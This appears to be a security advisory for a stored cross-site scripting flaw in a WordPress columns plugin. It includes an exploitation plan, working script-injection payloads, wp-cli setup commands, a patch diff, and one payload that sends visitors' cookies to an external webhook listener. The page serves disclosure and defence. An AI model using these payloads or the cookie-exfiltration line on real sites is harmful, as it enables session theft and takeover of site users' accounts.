Columns by BestWebSoft <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'columns' Shortcode 'id' Attribute
Description
The Columns by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the [print_clmns] shortcode in all versions up to and including 1.0.3. This is due to insufficient input sanitization and output escaping on the 'id' attribute. The shortcode receives the 'id' parameter via shortcode_atts() at line 596 and directly embeds it into HTML output at line 731 (in a div id attribute) and into inline CSS at lines 672-729 without any escaping or sanitization. While the SQL query uses %d to cast the value to an integer for database lookup, the original unsanitized string value of $id is still used in the HTML/CSS output. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attack requires that at least one column exists in the plugin (created by an admin), as the SQL query must return results for the output branch to be reached.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-3618 (Columns by BestWebSoft Stored XSS) ## 1. Vulnerability Summary The **Columns by BestWebSoft** plugin (<= 1.0.3) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `id` attribute of the `[print_clmns]` shortcode. This occurs because the plugin…
Show full research plan
Exploitation Research Plan: CVE-2026-3618 (Columns by BestWebSoft Stored XSS)
1. Vulnerability Summary
The Columns by BestWebSoft plugin (<= 1.0.3) is vulnerable to Stored Cross-Site Scripting (XSS) via the id attribute of the [print_clmns] shortcode. This occurs because the plugin extracts the id parameter from the shortcode attributes and reflects it directly into the page's inline CSS and HTML div attributes without sanitization or escaping. Although the value is cast to an integer for the database query (via %d), the original raw string is preserved for output.
2. Attack Vector Analysis
- Shortcode:
[print_clmns] - Vulnerable Attribute:
id - Authentication Level: Contributor or higher (any user role capable of creating or editing posts/pages).
- Precondition: At least one "Column" must be created in the plugin's administrative interface. The code path containing the vulnerability is only reached if the SQL query for the provided ID returns a valid column result.
- Endpoint: Post editor (Gutenberg or Classic) or any area where shortcodes are processed.
3. Code Flow (Inferred from Patch Description)
- Entry Point: A user with Contributor+ privileges creates a post containing:
[print_clmns id="PAYLOAD"]. - Shortcode Handling: The plugin's shortcode handler (likely registered via
add_shortcode( 'print_clmns', ... )) is triggered. - Attribute Parsing (Line 596): The handler calls
shortcode_atts()to extract theid. The variable$idnow holds the raw payload string. - Database Lookup: The plugin performs a query similar to:
$wpdb->get_row( $wpdb->prepare( "SELECT ... FROM ... WHERE id = %d", $id ) );- Due to PHP/WordPress integer casting, if
$idis1<script>..., it is treated as1. - If a column with ID
1exists, the query succeeds.
- Due to PHP/WordPress integer casting, if
- Vulnerable Sink (Lines 672-729): The raw string
$idis concatenated into an inline<style>block:echo "<style> #bws_column_{$id} { ... } </style>";
- Vulnerable Sink (Line 731): The raw string
$idis concatenated into adivID attribute:echo "<div id='bws_column_{$id}'>";
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a post containing a shortcode. It does not require an AJAX-specific nonce for the payload itself, but rather the standard WordPress nonces used for post creation/editing.
- Contributor Login: Authenticate as a Contributor.
- Identify Action: Use the REST API (
/wp-json/wp/v2/posts) orwp-admin/post-new.phpto create a post. - Post Saving: If using the browser, the
_wpnonceis automatically handled by the UI. If usinghttp_requestto simulate the save, the nonce must be extracted from thepost.phporpost-new.phpsource.
Note: Since the PoC agent can use wp-cli to create posts, it may bypass the need for manual nonce handling for the "Stored" part of the XSS.
5. Exploitation Strategy
- Create Target Data: As an Admin, create at least one "Column" so there is a valid ID in the database.
- Identify ID: Determine the integer ID of the created column (e.g.,
1). - Payload Construction:
- CSS Breakout:
1</style><script>alert(document.domain)</script> - HTML Attribute Breakout:
1' onmouseover='alert(1)' - Universal Payload:
1"><script>alert(document.domain)</script>
- CSS Breakout:
- Injection:
- As a Contributor, create a new post.
- Set the content to:
[print_clmns id='1"><script>alert(document.domain)</script>'].
- Trigger: View the post as a Guest or Admin.
- Execution: The browser will render:
<style> ... #bws_column_1"><script>alert(document.domain)</script> { ... } </style><div id="bws_column_1"><script>alert(document.domain)</script>">
6. Test Data Setup
- Create Column:
- Navigate to the "Columns" menu in WordPress.
- Create a new column set.
- Find the ID. (Typically visible in the URL as
?page=columns-bws&action=edit&id=Xor viawp db query "SELECT id FROM wp_bws_columns LIMIT 1;").
- Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
7. Expected Results
- When viewing the post, the HTML source should contain the literal string provided in the
idattribute. - The browser should execute the
alert(document.domain)script. - The
divelement will have a malformedidattribute, and the<script>tag will be parsed as a sibling or a breakout element.
8. Verification Steps
- Verify Database Entry:
wp post list --post_type=post --format=csv(Check for the post containing the shortcode).
- Verify Frontend Reflection:
- Use
http_requestto GET the post permalink. - Search the response body for:
<script>alert(document.domain)</script>.
- Use
- Verify Context:
- Confirm the payload appears inside or immediately after a tag with
id="bws_column_...or within a<style>block.
- Confirm the payload appears inside or immediately after a tag with
9. Alternative Approaches
- Blind XSS: Use a payload that exfiltrates
document.cookieto an external listener (e.g.,1"><script>fetch('https://webhook.site/...?c='+document.cookie)</script>). - Attribute-Only Injection: If
<script>tags are blocked by a WAF, use1' onmouseenter='alert(1)' style='display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;opacity:0;'. - CSS Injection: If only the
<style>block is reachable, use1 { background: url("javascript:alert(1)"); }(though this is restricted in modern browsers). Breaking out with</style>is more reliable.
Summary
The Columns by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the [print_clmns] shortcode. This occurs because the plugin reflects the raw shortcode attribute into inline CSS and HTML div tags without sanitization or escaping, despite using an integer cast for the underlying database query.
Vulnerable Code
// From columns-bws.php (approx. lines 596-731) // Attribute parsing $atts = shortcode_atts( array( 'id' => '', 'class' => '', ), $atts ); $id = $atts['id']; // Database lookup uses %d (safe for SQL), but $id remains the raw string $column = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM `{$wpdb->prefix}bws_columns` WHERE `id` = %d;", $id ) ); if ( ! empty( $column ) ) { // ... // Vulnerable reflection in CSS (approx. lines 672-729) echo "<style> #bws_column_{$id} { ... } </style>"; // ... // Vulnerable reflection in HTML attribute (approx. line 731) echo "<div id='bws_column_{$id}' class='{$class}'>"; }
Security Fix
@@ -594,7 +594,7 @@ 'id' => '', 'class' => '', ), $atts ); -$id = $atts['id']; +$id = intval( $atts['id'] ); $column = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM `{$wpdb->prefix}bws_columns` WHERE `id` = %d;", $id ) );
Exploit Outline
1. Authentication: The attacker must have Contributor-level access or higher to create or edit posts and use shortcodes. 2. Precondition: An administrator must have created at least one column set in the plugin's settings (to ensure the database query returns a result, triggering the vulnerable output path). 3. Payload Construction: The attacker identifies a valid column ID (e.g., 1) and crafts a payload to break out of the HTML/CSS context, such as: `1"><script>alert(document.domain)</script>`. 4. Injection: The attacker creates a new post or page and inserts the shortcode with the malicious ID: `[print_clmns id='1"><script>alert(document.domain)</script>']`. 5. Execution: When any user (including an administrator) views the post, the plugin outputs the raw payload into a `<style>` block and a `<div>` tag, causing the browser to execute the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.